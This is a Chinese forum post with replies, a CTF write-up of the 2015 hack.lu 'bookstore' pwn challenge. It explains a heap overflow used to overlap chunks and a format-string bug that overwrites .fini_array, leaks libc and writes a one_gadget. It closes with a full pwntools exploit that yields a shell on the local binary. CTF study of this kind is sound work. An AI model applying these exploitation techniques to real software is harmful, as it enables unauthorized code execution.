吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3246|回复: 6
收起左侧

[调试逆向] 2015_hacklu_bookstore学习

  [复制链接]
peiwithhao 发表于 2022-8-15 22:38
本帖最后由 peiwithhao 于 2022-8-20 11:54 编辑

首先仍然是查看保护,发现其中got表可写,开启canary以及没开地址随机
屏幕截图 2022-08-15 101137.png
然后就是看看代码逻辑了,单从执行开始看,发现其中就是1,2选项是修改某个值,然后3,4可以直观看出来,最后5选项也就是呈现1,2的值然后退出
屏幕截图 2022-08-15 101504.png

IDA来!
屏幕截图 2022-08-15 101741.png 屏幕截图 2022-08-15 102034.png

利用漏洞(无限写,overlapping)
反编译后发现这里有个漏洞,这里导致的好像是无限写,并且在右边主函数那儿发现开始运行时都会申请一个用户大小为0x80的块分配给order1与order2,
然后这个程序又贴心的给我们申请了一个大小为0x80的块来防止与topchunk合并,很明显这题是疯狂暗示我们要采用chunkshrink来overlapping下一个块了
因此我们首先修改第一个块,由于参数是0x80,而本程序是64位,所以真正实际上分配的块大小为0x90,因此我们在溢出的时候就需要发送0x89个值来刚好覆盖至下一个块的size值
此时输入0x88时刚好覆盖完,然后他再将最后一位也就是本该时‘\n’的那位置为‘\x00’,但是我们漏,于是我们就输入0x89个字符,其中由于用的是sendline,所以相当于送入了0x8a个
字符,而他又会将我的第0x8a个字符置为0x00(小端序),而0x89所构造的字符就会成为其中order2块的size值,因此我们就将其值包含到下一个desk块中
屏幕截图 2022-08-15 105139.png 屏幕截图 2022-08-15 105314.png

上图即为初始堆布局,可以清楚的看到三个堆块的详细信息,此时我们用上述代码进行溢出
屏幕截图 2022-08-15 110310.png

发现成功修改成我们需要的大小(由程序逻辑可以看出为0x150大小,上述的0xa1只不过是举例),然后我们就继续利用这个漏洞,将这个被我们修改了的块进行free
根据程序逻辑,在submit时会申请一个0x150大小的块,此时我们就将刚好free掉的去unsortedbin的0x150大小的块分配给他
所以此时的submit的指针指向的恰好就是order2所指向的块
屏幕截图 2022-08-15 124744.png
上图说明执行成功,大伙可以稍微思考思考为什么会如此输出,此处我再贴下submit代码和现阶段exp
屏幕截图 2022-08-15 125030.png 屏幕截图 2022-08-15 125219.png

所以在继续观察代码后发现最终所submit的块其中的分布大致是Order 1: + chunk1 + \nOrder 2: + Order 1: + chunk1
所以为了利用代码中最后一个printf中的格式化字符串漏洞,我们就需要使得后一个chunk1恰好处于代码中desk块的位置
经过计算可知chunk1的大小应该为0x74个字符,计算方法参考上述表达式,所以之后就是格式化字符串漏洞的利用
利用漏洞(format格式化字符串)
由于该程序只能运行一次,所以不能达到pwn的效果,所以在这里利用fini_array的知识,这涉及了程序启动运行以及结束的相关知识,
在这里具体使用方法就是将fini_array的内容写为__libc_start_main即可使得该程序在第一次结束时立马开始二次运行。
给哥们写麻了,由于我这是边写边码字,所以上面可能会有点乱,但大致记录了我自己的思考过程,一上午没写完现在就接着写
由于需要写入fini_array ,但是又找不出来具体地址,所以我们就需要自己在栈上构造,由于发现在输入选项的时候可以写至多128个字符,
所以符合了我们在栈上构造fini_array地址的需求
屏幕截图 2022-08-15 170040.png
屏幕截图 2022-08-15 170056.png

所以我们在栈上构造fini之后,在通过gdb调试可知在第12个参数,而由于本题并没有使出pie等招数
所以其程序各段地址在一开始是确定的,因此我们就需要将main函数的地址写入fini_array中。
通过ida发现main函数的地址为0x400a39,而fini_array的got表项地址为0x6011b8,而该got表项中包含的值为0x400830,所以说我们就只用将低字节的0xa39覆盖0x6011b8中即可,
所以我们来构造之前早已写好但是没确定格式化漏洞的chunk1.该具体的payload 构造为'%2617c%13$hn' + 'c'*0x68
屏幕截图 2022-08-15 171049.png

成功,可以看到fini的地址成功改为main的地址,并且程序又执行了一编,因此我们向成功迈进了一大步,所以我们现在就是需要在第一次执行程序的时候,
把libc基地址给泄露了,在栈上寻找时也可以看到__libc_start_main的地址,因此也是通过格式化字符串进行泄露。以下即为泄露结果以及现阶段exp
屏幕截图 2022-08-15 203337.png
屏幕截图 2022-08-15 203407.png

泄露了之后该如何利用呢,这里我新学了个知识点,这也是在看雪的师傅的一个文章学到的,那也就是修改main函数的返回值为one_gadget,
而具体泄露方法也就是查看栈上的固定便宜的量,其中我找到为如下图,可知道这个栈地址指向的栈对于main函数的偏移时固定的,都为0xe8
屏幕截图 2022-08-15 203712.png

因此我就泄露这里的地址。这里还得讲一句那就是在fini调用了main函数之后,他的栈会产生一个固定的偏置值,我们可以通过调试很方便的查看到两次返回函数的偏置值,
在我这个环境下该值为0xe0,所以此时的二次利用除了修改位置不同,其他大致类似。
整体exp如下
[Python] 纯文本查看 复制代码
from pwn import *
io = process('./books')
context.log_level = 'INFO'
elf = ELF('./books')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_start_addr = libc.sym['__libc_start_main']
one_gadget = 0xcb5ca
main_addr = 0x400a39
fini_addr = 0x6011b8                #内容为0x400830
def edit(i,payload):                #修改函数
    io.recvuntil('t\n')
    io.sendline(str(i))
    io.recvuntil(':\n')
    io.sendline(payload)
def submit(payload):
    io.recvuntil('t\n')
    io.sendline(payload)

def delete(i):
    io.recvuntil('t\n')
    io.sendline(str(i))

pl1 = b'a'*0x88 + p64(0x151) 
#gdb.attach(io)
edit(1,pl1)                       #覆盖下一个块
delete(4)                         #free掉块2

pl2 = '%2617c%13$hn'            #这里保持payload长度为0x74即可
pl2 += '.%31$p' + ',%28$p'
pl2 += 'a'*(0x74 - len(pl2))

edit(1,pl2)

pl3 = b'5'+b'\x00'*7 + p64(fini_addr)    #这里是为了在栈上写入.fini_array的地址

#gdb.attach(io)
submit(pl3)
io.recvuntil('.')
io.recvuntil('.')
io.recvuntil('.')
libc_start_main_addr = str(io.recv(14))
io.recvuntil(',')
ret_fake = str(io.recv(14))
libc_start_main_addr = int(libc_start_main_addr[2:16:1],16)
ret_fake = int(ret_fake[2:16:1],16) - 0xe8

libc_start_main_addr -=205
#libc_starrt_main_addr = int(str(libc_start_main_addr),16)
io.success('libc_start_main_addr==>'+hex(libc_start_main_addr))
io.success('ret_fake==>' + hex(ret_fake))
libc_base = libc_start_main_addr - libc_start_addr
io.success('libc_base==>'+ hex(libc_base))
one_gadget += libc_base
io.success('one_gadget==>'+hex(one_gadget))


print('==========================')                 #阶段二
one_1 = hex(one_gadget)[-2:]
one_1 = int(one_1,16)
one_2 = hex(one_gadget)[-6:-2]
one_2 = int(one_2,16)
io.success('one_1 ==>'+hex(one_1) + '\none_2==>'+hex(one_2))
pl4 = '%'+str(one_1)+'c%13$hhn%'
pl4 += '%' + str(one_2-one_1) + 'c%14$hn'
pl4 += 'a'*(0x74-len(pl4))
edit(1,pl1)
delete(4)
sleep(1)
edit(1,pl4)
io.success('ret_fake_new ==>'+ hex(ret_fake-0xe0))
ret_fake_new = ret_fake-0xe0
pl5 = b'5' + b'\x00'*7+p64(ret_fake_new) + p64(ret_fake_new+1)
#gdb.attach(io)
submit(pl5)
sleep(1)
io.interactive()

免费评分

参与人数 2威望 +1 吾爱币 +21 热心值 +2 收起 理由
imumu1239 + 1 + 1 我很赞同!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2022-8-16 14:10
peiwithhao 发表于 2022-8-16 14:09
文章前一页的图都没了么,我这可以自己再重新上传一遍吗

直接点编辑然后上传插入就行。
 楼主| peiwithhao 发表于 2022-8-15 22:44
为甚么我文章的图片有的还消失了勒

点评

哪里消失了?  详情 回复 发表于 2022-8-16 11:17
Hmily 发表于 2022-8-16 11:17
 楼主| peiwithhao 发表于 2022-8-16 14:09

文章前一页的图都没了么,我这可以自己再重新上传一遍吗

点评

直接点编辑然后上传插入就行。  详情 回复 发表于 2022-8-16 14:10
abozai 发表于 2022-8-18 21:00
可以,谢谢楼主分享
Luisvaction 发表于 2022-8-18 21:15
谢谢楼主分享,学习了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 22:51

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表